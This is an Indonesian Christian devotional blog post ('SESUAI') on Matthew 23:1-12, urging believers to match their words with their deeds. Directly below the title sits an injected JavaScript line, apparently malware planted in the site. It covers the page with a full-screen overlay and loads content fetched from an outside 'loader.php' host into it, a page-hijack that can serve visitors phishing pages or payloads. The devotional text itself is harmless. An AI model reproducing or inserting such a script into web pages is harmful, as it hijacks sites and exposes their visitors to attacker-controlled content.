SESUAI

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Minggu, 05 November 20223

Matius 23 : 1 – 12

Pengantar

Dalam masa persiapan menuju pemilihan umum, ada tokoh- tokoh yang ingin menjadi pemimpin negeri ini. Ketika kampanye, mereka berjanji akan menjadi pemimpin yang melayani rakyat dan melakukan perubahan-perubahan demi membawa negeri ini menjadi lebih baik. Namun seringkali janji-janji pada masa kampanye tak terwujud. Bahkan ada pula yang akhirnya menjadi tahanan KPK karena melakukan korupsi. Kepemimpinan mereka bersifat NATO ( No Action, Talk Only). Tentu kita prihatin dengan kondisi ini. Dalam bacaan Alkitab hari ini kita juga melihat keprihatinan dan kritik keras TUHAN YESUS terhadap ahli-ahli Taurat dan orang-orang Farisi yang kehidupannya bersifat NATO. Marilah kita merenungkannya!

Pemahaman

Ayat 1-7 : Mengapa para murid KRISTUS tak boleh menuruti perbuatan ahli-ahli Taurat dan orang- orang Farisi?

Ayat 8-12 : Sikap seperti apa yang perlu dilakukan para murid KRISTUS?

TUHAN YESUS mengecam ahli-ahli Taurat dan orang-orang Farisi dengan keras, bukan karena apa yang mereka ajarkan, melainkan karena mereka tidak melakukan apa yang mereka ajarkan. Para pemuka agama itu suka duduk di bagian paling depan di rumah ibadah. Mereka duduk di tempat terhormat dan melakukan pekerjaan hanya agar dilihat baik dan dipuji orang. Mereka lupa hal terpenting yang ada dalam ajaran itu sendiri. Mereka melupakan keadilan dan rasa belas kasihan pada sesama. Mereka tak melakukan apa yang mereka ajarkan. Mereka bukanlah contoh pemimpin yang baik.

TUHAN YESUS mengajak kita para murid-Nya agar menjadi pribadi yang seimbang yakni menjaga kesesuaian antara kata dan

perbuatan kita. Kita tidak boleh bicara dan mengajari orang lain supaya mereka hidup baik sementara diri kita sendiri hidup dalam keadaan morat-marit. Terkadang kita juga bersikap seperti orang- orang Farisi dan ahli-ahli Taurat yang munafik dan tidak konsekuen. Kita menuntut orang lain hidup dan berbuat yang benar, tetapi diri kita sendiri malah melakukan yang tidak baik. Maka TUHAN YESUS mengajak kita supaya kita hidup sesuai apa yang kita katakan. Apa yang kita katakan itulah yang kita hidupi.

Keselarasan antara hal-hal baik yang keluar dari mulut dengan tindakan yang kita lakukan adalah tantangan bagi setiap pengikut KRISTUS. Kita harus berusaha menjaga perilaku selaras dengan hati yang sudah diperbarui ALLAH melalui firman-Nya. Dengan demikian, panggilan melayani TUHAN kita lakukan bukan untuk dipandang sebagai orang yang hebat dan bukan sebatas kewajiban.

Melalui perbuatan kita, orang lain harus dapat merasakan kasih KRISTUS. Bukan untuk menuai pujian atas kehebatan kita, melainkan sebagai bentuk ketaatan kita pada TUHAN yang layak ditinggikan. Karya keselamatan yang kita terima melalui KRISTUS dapat kita perlihatkan agar membawa kesaksian yang baik bagi orang lain.

Refleksi                                                                 

Dalam keheningan, renungkanlah apakah Saudara telah menghidupi identitas murid KRISTUS dengan tindakan yang sesuai?

Tekadku                                                                

Ya TUHAN, mampukanlah aku untuk menghidupi tekad hidup beriman dalam perbuatan nyata sehingga dengan penuh kerendahan hati dapat melayani TUHAN dan sesama.

Tindakanku                                                           

Mulai hari ini aku akan terus belajar mempersaksikan karya kasih TUHAN bukan hanya melalui kata-kata tapi juga tindakan nyata.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *